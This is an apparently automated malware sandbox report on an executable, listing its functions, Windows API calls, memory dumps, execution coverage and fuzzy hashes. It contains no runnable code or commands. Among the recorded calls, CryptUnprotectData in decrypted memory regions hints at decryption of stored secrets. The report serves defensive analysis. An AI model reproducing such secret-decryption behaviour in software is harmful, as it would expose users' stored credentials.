Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: 4AMVusDMPP.exePID: 6976, Parent PID: 2740COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	255
Total number of Limit Nodes:	17

Executed Functions

Function 3592D1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(00000047,?,00000000,?,?,?,?), ref: 3592DA45

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 23be6a3bff7f00f6df03f155e603beb07e0fe6ad468397023c99e9248782358e
Instruction ID: c8015f0fc6373c7dd97a26a6ccd1ecf8d2ab4ad05a6b45b11d71d66e68df1423
Opcode Fuzzy Hash: 23be6a3bff7f00f6df03f155e603beb07e0fe6ad468397023c99e9248782358e
Instruction Fuzzy Hash: 881156B680034DEFDB10CF99D845BDEBBF4EB48320F148419E918A7210C379A950CFA5

Function 3592D9D9 Relevance: 1.6, APIs: 1, Instructions: 54
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(00000047,?,00000000,?,?,?,?), ref: 3592DA45

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: ed8d45a6fef6bc4fb9475b019e5ea51d4f5c10ce6141b6d38591f718e68f7c87
Instruction ID: 7c3a2d6c17247efb30538f55574208b7a6119c6fd13ea23d9b575d5aeaa80db4
Opcode Fuzzy Hash: ed8d45a6fef6bc4fb9475b019e5ea51d4f5c10ce6141b6d38591f718e68f7c87
Instruction Fuzzy Hash: 691173B6800349EFDB10CF99C940BEEBBF4EF48320F15841AE618A7211C339A654CFA1

Function 35920C1A Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

93, xrefs: 35920C99

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID: 93
API String ID: 0-3707525227
Opcode ID: 3049181df0f2d79d5cc11b0433f8e8356f5b681b85365db1ffa8a1d94a26a02b
Instruction ID: 1c561b1fb73eecd6bce1ab4db85d713498e0ca78d2e1107a3eba93d83e092cab
Opcode Fuzzy Hash: 3049181df0f2d79d5cc11b0433f8e8356f5b681b85365db1ffa8a1d94a26a02b
Instruction Fuzzy Hash: 23A10474D00208CFEB14DFA5C984BDDBBB1BF89301F208269E409A72A1DB759985CF55

Function 35920C28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

93, xrefs: 35920C99

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID: 93
API String ID: 0-3707525227
Opcode ID: a077bbe31c948db1b546c7f49c13f00243f996966d01bc1f7d2192734ef40395
Instruction ID: d4efdc1014bde9c78104a3d1309cdf80ae679d41025503ee50ae869d63e652b8
Opcode Fuzzy Hash: a077bbe31c948db1b546c7f49c13f00243f996966d01bc1f7d2192734ef40395
Instruction Fuzzy Hash: 8BA10374E00208CFEB14DFA9C984BDDBBB1BF89301F208269E409B72A1DB759985CF55

Function 00158DA0 Relevance: 1.1, Instructions: 1138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333211911.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a4e9467f2a222237217cd9814223748d977717ed518cbc91c5ba4fbfb20399
Instruction ID: 63aa5364b613cc3984f0f89e52c5ca9b030681180d9f3415950d89a61efb7f0c
Opcode Fuzzy Hash: d2a4e9467f2a222237217cd9814223748d977717ed518cbc91c5ba4fbfb20399
Instruction Fuzzy Hash: BCA27F70A04209DFCB15CF68C994AAEBBB2FF88301F158569E815DF261D731ED89CB61

Function 3648BDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd60ada98ec318a87e472f0d6fd273c84f2bd87369085f9b34b2a17a63d8f7f5
Instruction ID: 8d681dd85e7197bea92c53a85b8dc1e3654d173f301b28d327212670dba37efb
Opcode Fuzzy Hash: dd60ada98ec318a87e472f0d6fd273c84f2bd87369085f9b34b2a17a63d8f7f5
Instruction Fuzzy Hash: 1C72C374A01219DFDB25DF64C894BA9B7B2FB89700F5081E9D90AB7350CB329E82DF54

Function 36488650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d30f7ee6ba4c03e427840a64a598a649384bcf9fcf2211f6bd67881976fb96c
Instruction ID: 44b10b9b9cc9ef747ff26c7a8b82a49e359f39ea1fa34ef546a210ddf2b2dde0
Opcode Fuzzy Hash: 8d30f7ee6ba4c03e427840a64a598a649384bcf9fcf2211f6bd67881976fb96c
Instruction Fuzzy Hash: 0F72BE74E01229CFEB65DF69C880BD9BBB2BB89301F5481EAD449A7351DB319E81CF50

Function 00155968 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333211911.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3b4b501e409cdcd99a56f0bd3fbf5cb55c0b307c245623724585fc3fa168eaa
Instruction ID: 98a50cd1a0349ec6354fa7518d9ffec36bee6a4c0b54780205826f0396721b81
Opcode Fuzzy Hash: b3b4b501e409cdcd99a56f0bd3fbf5cb55c0b307c245623724585fc3fa168eaa
Instruction Fuzzy Hash: B5128F71A00619DFDB14DFA9C854BAEBBB7BF88301F148529E815DB391DB309D85CB90

Function 00155F90 Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333211911.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cbeac5c9a642ed63c30f982904d9713bf3db2081a86773b38c889905a941157
Instruction ID: 69ece61d0bfa5924ace71e0a597c38c71e63b7b1ca5fc7613c621521b7dad5d6
Opcode Fuzzy Hash: 5cbeac5c9a642ed63c30f982904d9713bf3db2081a86773b38c889905a941157
Instruction Fuzzy Hash: 22125030A00219DFCB15CF69C994AADBBF2FF88316F958069E815EB261D731DD85CB90

Function 3592C638 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d010d7983b1df40869945012e5ebac74498bc3c58eb6742109c543bd0588792
Instruction ID: 458c1280c4f0835948254b5be7532575b670e11caf5d40cd78fcc3853da0c0de
Opcode Fuzzy Hash: 6d010d7983b1df40869945012e5ebac74498bc3c58eb6742109c543bd0588792
Instruction Fuzzy Hash: F2E1D174E01218DFEB14CFA5C854B9DBBB2BF89300F2081AAD409B7295DB765E85CF15

Function 359203AF Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8fa262a24cb26c4eb29835e2172212652b66686ef2532a8e86460b627896b31
Instruction ID: 84553605b800b3a48cf4106f5d61a6d8577554c0515d46edb07540e734f3d56b
Opcode Fuzzy Hash: f8fa262a24cb26c4eb29835e2172212652b66686ef2532a8e86460b627896b31
Instruction Fuzzy Hash: 78D19E74E01218DFEB14DFA5C994B9DBBB2FB89300F1081A9D809AB365DB359E85CF50

Function 36489D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae4ee89a9184c82125524e055e874f5df4213e6c169519ab0faa9bada8f9e69
Instruction ID: 71e07bd311ce98e33b67a9808ad3aa0e7ec4e4da50fa728d425a8a7418fb39f7
Opcode Fuzzy Hash: 4ae4ee89a9184c82125524e055e874f5df4213e6c169519ab0faa9bada8f9e69
Instruction Fuzzy Hash: 5DA19274E01628CFEB28CF6AC944B9DBBF2AF89301F14C0AAD408B7255DB755A85CF51

Function 3648A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ece2a179407f127101b5d8544a033b89b29236832750d36aa56fc77166e5b70d
Instruction ID: 9f5b908698108db0f2c914750b10e154b241b0158c6b3bd6972db981ae737d12
Opcode Fuzzy Hash: ece2a179407f127101b5d8544a033b89b29236832750d36aa56fc77166e5b70d
Instruction Fuzzy Hash: 45A192B5E01228CFEB24CF6AC944B9DBBF2AF89300F14C0AAD408B7255DB755A85CF51

Function 364896C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1799225d767d7afb29a8f45394e1c142da450b2c92563eadb8484496c5d6d6cb
Instruction ID: c72b1f48d65334585e5c3f5080ecc835cf98ec8455dffeed56f0c3a5fe620262
Opcode Fuzzy Hash: 1799225d767d7afb29a8f45394e1c142da450b2c92563eadb8484496c5d6d6cb
Instruction Fuzzy Hash: 94A19475E01618CFEB68CF6AC944B9DBBF2AF89300F14C0AAD408B7255DB355A85CF51

Function 3648A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713ad991862513e3ee71d794fa8163e5085e706faeeb44141521ab06390814f0
Instruction ID: ad9757282ab685bec2086d1cf2fce29c9a5a58ba209629315d78accb9ef155c1
Opcode Fuzzy Hash: 713ad991862513e3ee71d794fa8163e5085e706faeeb44141521ab06390814f0
Instruction Fuzzy Hash: FFA1A3B4E01228CFEB24CF6AC944B9DBBF2AF89300F14C1AAD508B7255DB755A85CF50

Function 35920F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3359493837.0000000035920000.00000040.00000800.00020000.00000000.sdmp, Offset: 35920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35920000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485b1f3e6dfde6c352ff6ee74bb5abe456d01c676a5d803379015eb07915b972
Instruction ID: 650c7dd451062a858532e8ce27ab32b5a9a3f319e93c3f50f6207e2695107e0f
Opcode Fuzzy Hash: 485b1f3e6dfde6c352ff6ee74bb5abe456d01c676a5d803379015eb07915b972
Instruction Fuzzy Hash: 6D91D074900308CFEB10DFA8C988BDCBBB5BF49311F208269E409BB2A5DB759985CF55

Function 00154328 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333211911.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925502ca2a1a436814f8aba6d9eea262b5e9f798002749690acf039eac247e50
Instruction ID: 0fb6192cd1a88b7165cef970bda71b151b85b0c614c301753d1a4a62548f8dd0
Opcode Fuzzy Hash: 925502ca2a1a436814f8aba6d9eea262b5e9f798002749690acf039eac247e50
Instruction Fuzzy Hash: 7691D674E00218DFEB18DFA9D884A9DBBF2BF89305F148069D819AB365DB349985CF50

Function 3648BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9280d517b5d14b3f43ff10c3909beb67e6fd3749b937607d3ad803b0418d41f
Instruction ID: 61223123ffddfb6be1a91bd07bf085793ac62f098da5b3957b30e79e76deba66
Opcode Fuzzy Hash: e9280d517b5d14b3f43ff10c3909beb67e6fd3749b937607d3ad803b0418d41f
Instruction Fuzzy Hash: 7281C674E00208CFEB18DFAAD98069DBBF2BF88311F248129D814BB359DB759942CF54

Function 36488640 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b36841597a859d81f9862d6f5c96687b5cb255ddf7357d256b117f530c07174
Instruction ID: 2036843d38d3474e8f01c122c549e0cf7d7fff63aa3da04bb2f6cf1a34309811
Opcode Fuzzy Hash: 6b36841597a859d81f9862d6f5c96687b5cb255ddf7357d256b117f530c07174
Instruction Fuzzy Hash: 3F71B275E01228DFEB64CF66C9847DDBBF2BB89301F1090AAD408A7350DB359A86CF40

Function 3648A9A0 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 893e28a4b04607c952cc9a27c53d7b8454d2df94270d1ef6c3abf72e86a5f286
Instruction ID: fb5e160d3ef40d491e742d428cb326f60e41021afe5fa93b41a7506eaa085149
Opcode Fuzzy Hash: 893e28a4b04607c952cc9a27c53d7b8454d2df94270d1ef6c3abf72e86a5f286
Instruction Fuzzy Hash: 4881A5B4D05628CFEB28CF66C844B8ABBF2AF89300F14C0EAD40CA7255DB754A85CF51

Function 364896B8 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0962b844626702d701ad35423b4045906b4b9b3955c48b174012a38079b06973
Instruction ID: d4132285b21fa09e0227522720a0fdb400c07ebb109744c3cd3dc10f336b8072
Opcode Fuzzy Hash: 0962b844626702d701ad35423b4045906b4b9b3955c48b174012a38079b06973
Instruction Fuzzy Hash: 868195B5D01628CFEB68CF6AC94479DBBF2AF89300F14C0AAD40CA7254DB354A85CF51

Function 3648C92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30e17b3f3875ea327543c5f2f9798f63381c917b1acf33680e2d685e8544f7dc
Instruction ID: d318e03ca9f2db97dd4999f5338592c12f19689fd525b2d5a184fe082852f142
Opcode Fuzzy Hash: 30e17b3f3875ea327543c5f2f9798f63381c917b1acf33680e2d685e8544f7dc
Instruction Fuzzy Hash: AB611934A00259EFEB25DFA4C854BADB772FB88700F1084AAD90A77354CB325D82DF04

Function 36489D00 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba4714f9d46b05e5b25359378391f4bc32624fb9eb7080bc9c76433b7467a38
Instruction ID: 31735066ab413d555a78feadd98e68659543db92f2f5956be58cf2c934990584
Opcode Fuzzy Hash: 1ba4714f9d46b05e5b25359378391f4bc32624fb9eb7080bc9c76433b7467a38
Instruction Fuzzy Hash: 21418AB1E016188BEB58CF6BC944789FBF3AFC9300F14C0AAD44CA6264DB750A86CF55

Function 3648A353 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3360097796.0000000036480000.00000040.00000800.00020000.00000000.sdmp, Offset: 36480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36480000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807c2ce5295d5ff906df45f4196c20b94772b1be4369e87727111544635b8659
Instruction ID: 8f424768c71b6ab1a930c4a1c4d35210a650f6851de9c37925f8f4139b95dbc3
Opcode Fuzzy Hash: 807c2ce5295d5ff906df45f4196c20b94772b1be4369e87727111544635b8659
Instruction Fuzzy Hash: 224199B1D016188BEB58CF6BC9447CAFAF3AFC9300F04C0AAD50CA6254DB750A86CF51

Function 367E0970 Relevance: 6.1, APIs: 4, Instructions: 137
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 367E09FE
GetCurrentThread.KERNEL32 ref: 367E0A3B
GetCurrentProcess.KERNEL32 ref: 367E0A78
GetCurrentThreadId.KERNEL32 ref: 367E0AD1

Memory Dump Source

Source File: 00000003.00000002.3360424988.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_367e0000_4AMVusDMPP.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: aaec4d8333554be0339b85b3b907ecca9bc75be4ea95bd4b25e20900f1b72856
Instruction ID: 8f00c4391bedd09b2175fa20ca696fe3d7d5d7c8d36cbdc1f60c8595a4b1e1d4
Opcode Fuzzy Hash: aaec4d8333554be0339b85b3b907ecca9bc75be4ea95bd4b25e20900f1b72856
Instruction Fuzzy Hash: 635176B0904749CFDB04CFAAD848BEEBBF1AF88300F24845AE059AB361D7345945CB62

Function 367E0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 367E09FE
GetCurrentThread.KERNEL32 ref: 367E0A3B
GetCurrentProcess.KERNEL32 ref: 367E0A78
GetCurrentThreadId.KERNEL32 ref: 367E0AD1

Memory Dump Source

Source File: 00000003.00000002.3360424988.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_367e0000_4AMVusDMPP.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d8f2c35ace019b01f377f017a58efa4a4e2cfb28dc66a6b8f38ed5c445488b3d
Instruction ID: 83c8c30602a8963239b9b089d0853c020817f405a51d5a7d74a7e528744e16aa
Opcode Fuzzy Hash: d8f2c35ace019b01f377f017a58efa4a4e2cfb28dc66a6b8f38ed5c445488b3d
Instruction Fuzzy Hash: EC5134B0900749DFEB04CFAAD548BEEBBF5AF88300F208459E419AB351DB749944CB66

Function 367E2018 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(?,?,?,?), ref: 367E207D

Strings

W, xrefs: 367E201D

Memory Dump Source

Source File: 00000003.00000002.3360424988.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_367e0000_4AMVusDMPP.jbxd

Similarity

API ID: Timer
String ID: W
API String ID: 2870079774-655174618
Opcode ID: e7c1dc756ba3b44aa1f2c986a2c9ce17aa2e58c88f23d3a3be70ac265af3526d
Instruction ID: 67913ab3e1901bcaa67fa761703dbda7a4556355a406ac1972ad30744b992433
Opcode Fuzzy Hash: e7c1dc756ba3b44aa1f2c986a2c9ce17aa2e58c88f23d3a3be70ac265af3526d
Instruction Fuzzy Hash: FE1122B5800349DFEB20DF9AD884BDEFBF4EB48320F24844AD558A7641C374A684CFA1

Function 00150B29 Relevance: 2.7, Strings: 2, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P*b3, xrefs: 00150B7A
t"b3, xrefs: 00150B57, 00150C86

Memory Dump Source

Source File: 00000003.00000002.3333211911.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID: P*b3$t"b3
API String ID: 0-1642350395
Opcode ID: 34fa53d62243c0264c4a79f9e19378bd335d6df22e69042bdca642ce7ece21cb
Instruction ID: ac41fde1ebc4420af6df4c577c1224c5c8fd246c3a7742705958efc5fff79340
Opcode Fuzzy Hash: 34fa53d62243c0264c4a79f9e19378bd335d6df22e69042bdca642ce7ece21cb
Instruction Fuzzy Hash: C7A1AA74A0020AEFDB04DFB8D9849DE7BB1FB89701B104129E415BB365EB316D46CF85

Function 00150B30 Relevance: 2.7, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P*b3, xrefs: 00150B7A
t"b3, xrefs: 00150B57, 00150C86

Memory Dump Source

Source File: 00000003.00000002.3333211911.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID: P*b3$t"b3
API String ID: 0-1642350395
Opcode ID: e862c6881e5bacacc5374d27d10f30d79771bf2e4702030662a509a6ad23a29f
Instruction ID: 8ee52d04af6df19dc8f9459e45410901302e1b55bcf0723617dab0830b6bcb90
Opcode Fuzzy Hash: e862c6881e5bacacc5374d27d10f30d79771bf2e4702030662a509a6ad23a29f
Instruction Fuzzy Hash: 9BA1A874A0020AEFDB04DFB8E9849DEB7B1FB89701B104529E415BB365EB316D46CF85

Function 367E0104 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 367E0222

Memory Dump Source

Source File: 00000003.00000002.3360424988.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_367e0000_4AMVusDMPP.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 18c1db121f02f7d42e3df5b260f7446dbedf76c29603173746c4a25ca5ef4229
Instruction ID: 273e19b919b47aa4dbc9e95e052ac530c29e3239ac90142bc443504d53170688
Opcode Fuzzy Hash: 18c1db121f02f7d42e3df5b260f7446dbedf76c29603173746c4a25ca5ef4229
Instruction Fuzzy Hash: D651DEB5D00349EFDB14CFAAD880ADEBBB5BF48310F64812AE818AB210D7749845CF90

Function 367E0110 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 367E0222

Memory Dump Source

Source File: 00000003.00000002.3360424988.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_367e0000_4AMVusDMPP.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 389a8c4629bb2c322b4b888f46cc2e2f1035aaf6e8c1e3ee072eeddad77363d8
Instruction ID: 764f559165cc61bec134804325d8dec69996433584bd95f6f93d41c1b3afa4cf
Opcode Fuzzy Hash: 389a8c4629bb2c322b4b888f46cc2e2f1035aaf6e8c1e3ee072eeddad77363d8
Instruction Fuzzy Hash: 5D41AEB5D00349DFDB14CFAAD884ADEBBB5BF48310F64812AE818AB210D7759945CF91

Function 367E1DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 367E1E81

Memory Dump Source

Source File: 00000003.00000002.3360424988.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_367e0000_4AMVusDMPP.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 59a6787cbd4fbc895d591b2529df7f4dd1e59e671889506cf7d7cc057dc3d777
Instruction ID: 7363d00f46d22d72ef93e263a1d4649a33b683575826c756799de48168787461
